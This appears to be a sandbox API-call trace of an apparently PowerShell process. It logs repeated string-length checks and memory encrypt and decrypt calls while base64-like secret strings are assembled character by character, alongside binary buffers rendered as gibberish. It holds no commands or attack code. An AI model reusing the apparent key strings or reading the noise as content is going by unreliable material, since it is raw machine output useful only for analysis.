[0247.166] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕᏧᔗ混堌㐣Ⳝ妋䭑吔ᠴꡢ袘湶蝹\蟚뫦⡜靄㙔泊\⋝) returned 0x28 [0247.166] SystemFunction041 (in: Memory=0x3af08c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af08c) returned 0x0 [0247.166] SysStringLen (param_1="gls34WTpiAV1l9J0WrlcMqBuM4NADZ9GHWGoa7듉") returned 0x28 [0247.166] SystemFunction040 (in: Memory=0x3af08c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af08c) returned 0x0 [0247.166] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕᏧᔗ混堌㐣Ⳝ妋䭑吔ᠴꡢ袘湶呹鑿䕲叴줊忧巍঑∊) returned 0x28 [0247.166] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕᏧᔗ混堌㐣Ⳝ妋䭑吔ᠴꡢ袘湶呹鑿䕲叴줊忧巍঑∊) returned 0x28 [0247.166] SystemFunction041 (in: Memory=0x3af08c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af08c) returned 0x0 [0247.167] SysStringLen (param_1="gls34WTpiAV1l9J0WrlcMqBuM4NADZ9GHWGoa7k듉") returned 0x28 [0247.167] SystemFunction040 (in: Memory=0x3af08c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af08c) returned 0x0 [0247.167] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕᏧᔗ混堌㐣Ⳝ妋䭑吔ᠴꡢ袘湶ཹ됰ԯꂕ썴뙱ඦ뙴∞) returned 0x28 [0247.167] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕᏧᔗ混堌㐣Ⳝ妋䭑吔ᠴꡢ袘湶ཹ됰ԯꂕ썴뙱ඦ뙴∞) returned 0x28 [0247.167] SystemFunction041 (in: Memory=0x3af08c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af08c) returned 0x0 [0247.167] SysStringLen (param_1="gls34WTpiAV1l9J0WrlcMqBuM4NADZ9GHWGoa7k3") returned 0x28 [0247.167] SystemFunction040 (in: Memory=0x3af08c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af08c) returned 0x0 [0247.167] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕᏧᔗ混堌㐣Ⳝ妋䭑吔ᠴꡢ袘湶\懟ꑀ➥풅׬␨\⋛) returned 0x28 [0247.168] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕᏧᔗ混堌㐣Ⳝ妋䭑吔ᠴꡢ袘湶\懟ꑀ➥풅׬␨\⋛) returned 0x28 [0247.168] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕᏧᔗ混堌㐣Ⳝ妋䭑吔ᠴꡢ袘湶\懟ꑀ➥풅׬␨\⋛) returned 0x28 [0247.168] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕᏧᔗ混堌㐣Ⳝ妋䭑吔ᠴꡢ袘湶\懟ꑀ➥풅׬␨\⋛) returned 0x30 [0247.168] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0247.168] SysStringLen (param_1="gls34WTpiAV1l9J0WrlcMqBuM4NADZ9GHWGoa7k3T鳕僌湋惸뎓坛ᙬ") returned 0x30 [0247.169] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0247.169] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕᏧᔗ混堌㐣Ⳝ妋䭑吔ᠴꡢ袘湶\懟ꑀ➥풅׬␨\궚텪㎍왭ࢾꄊ벭≞) returned 0x30 [0247.169] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕᏧᔗ混堌㐣Ⳝ妋䭑吔ᠴꡢ袘湶\懟ꑀ➥풅׬␨\궚텪㎍왭ࢾꄊ벭≞) returned 0x30 [0247.169] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0247.169] SysStringLen (param_1="gls34WTpiAV1l9J0WrlcMqBuM4NADZ9GHWGoa7k3Tx僌湋惸뎓坛ᙬ") returned 0x30 [0247.169] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0247.169] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕᏧᔗ混堌㐣Ⳝ妋䭑吔ᠴꡢ袘湶\懟ꑀ➥풅׬␨\棛៛撱䢽뒹慌褄ꗼ⊒) returned 0x30 [0247.169] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕᏧᔗ混堌㐣Ⳝ妋䭑吔ᠴꡢ袘湶\懟ꑀ➥풅׬␨\棛៛撱䢽뒹慌褄ꗼ⊒) returned 0x30 [0247.169] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0247.169] SysStringLen (param_1="gls34WTpiAV1l9J0WrlcMqBuM4NADZ9GHWGoa7k3TxE湋惸뎓坛ᙬ") returned 0x30 [0247.170] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0247.170] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕᏧᔗ混堌㐣Ⳝ妋䭑吔ᠴꡢ袘湶\懟ꑀ➥풅׬␨\ᛛ㆑藲郎찉衫牋⊁) returned 0x30 [0247.170] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕᏧᔗ混堌㐣Ⳝ妋䭑吔ᠴꡢ袘湶\懟ꑀ➥풅׬␨\ᛛ㆑藲郎찉衫牋⊁) returned 0x30 [0247.170] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0247.170] SysStringLen (param_1="gls34WTpiAV1l9J0WrlcMqBuM4NADZ9GHWGoa7k3TxE=惸뎓坛ᙬ") returned 0x30 [0247.170] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0247.170] EtwEventActivityIdControl () returned 0x0 [0247.170] EtwEventActivityIdControl () returned 0x0 [0247.170] EtwEventActivityIdControl () returned 0x0 [0247.171] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0247.173] EtwEventActivityIdControl () returned 0x0 [0247.173] EtwEventActivityIdControl () returned 0x0 [0247.173] EtwEventActivityIdControl () returned 0x0 [0247.174] SysStringLen (param_1="") returned 0x8 [0247.174] SysStringLen (param_1="N") returned 0x8 [0247.175] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.175] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0247.175] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0247.175] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.175] SysStringLen (param_1="ND") returned 0x8 [0247.175] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.175] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0247.175] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0247.175] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.176] SysStringLen (param_1="NDZ") returned 0x8 [0247.176] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.176] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0247.176] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0247.176] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.176] SysStringLen (param_1="NDZl") returned 0x8 [0247.176] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.176] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0247.176] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0247.176] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.176] SysStringLen (param_1="NDZlO") returned 0x8 [0247.177] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.177] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0247.177] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0247.177] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.177] SysStringLen (param_1="NDZlOD") returned 0x8 [0247.177] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.177] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0247.177] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0247.177] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.177] SysStringLen (param_1="NDZlODR") returned 0x8 [0247.178] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.178] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0247.178] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0247.178] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.178] SysStringLen (param_1="NDZlODRm") returned 0x8 [0247.178] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.178] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0247.178] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0247.179] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0247.179] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0247.179] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.179] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0247.179] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.180] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0247.180] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0247.180] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.180] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0247.180] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.180] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0247.180] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0247.180] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.180] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0247.180] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.181] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0247.181] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0247.181] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.181] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0247.181] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.181] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0247.181] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0247.181] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.181] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0247.181] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.182] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0247.182] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0247.182] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.182] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0247.182] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.182] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0247.182] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0247.182] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.182] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0247.182] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.183] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0247.183] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0247.183] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.183] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0247.183] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.183] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0247.183] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0247.183] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0247.184] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0247.184] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.184] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0247.184] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.184] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0247.185] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0247.185] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.185] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0247.185] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.185] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0247.185] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0247.185] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.185] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0247.185] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.185] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0247.185] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0247.186] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.186] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0247.186] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.186] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0247.186] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0247.186] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.186] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0247.186] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.186] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0247.186] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0247.186] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.187] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0247.187] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.187] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0247.226] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0247.226] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.227] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0247.227] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.227] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0247.227] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0247.227] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.227] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0247.227] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.227] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0247.228] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0247.228] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0247.228] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0247.229] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.229] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0247.229] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.229] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0247.229] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0247.229] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.229] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0247.229] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.229] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0247.229] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0247.230] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.230] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0247.230] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.230] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0247.230] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0247.230] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.230] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0247.230] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.230] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0247.230] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0247.230] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.231] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0247.231] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.231] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0247.231] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0247.231] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.231] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0247.231] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.231] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0247.231] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0247.231] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.232] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0247.232] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.232] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0247.232] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0247.232] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.232] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0247.232] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.232] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0247.233] SysStringLen 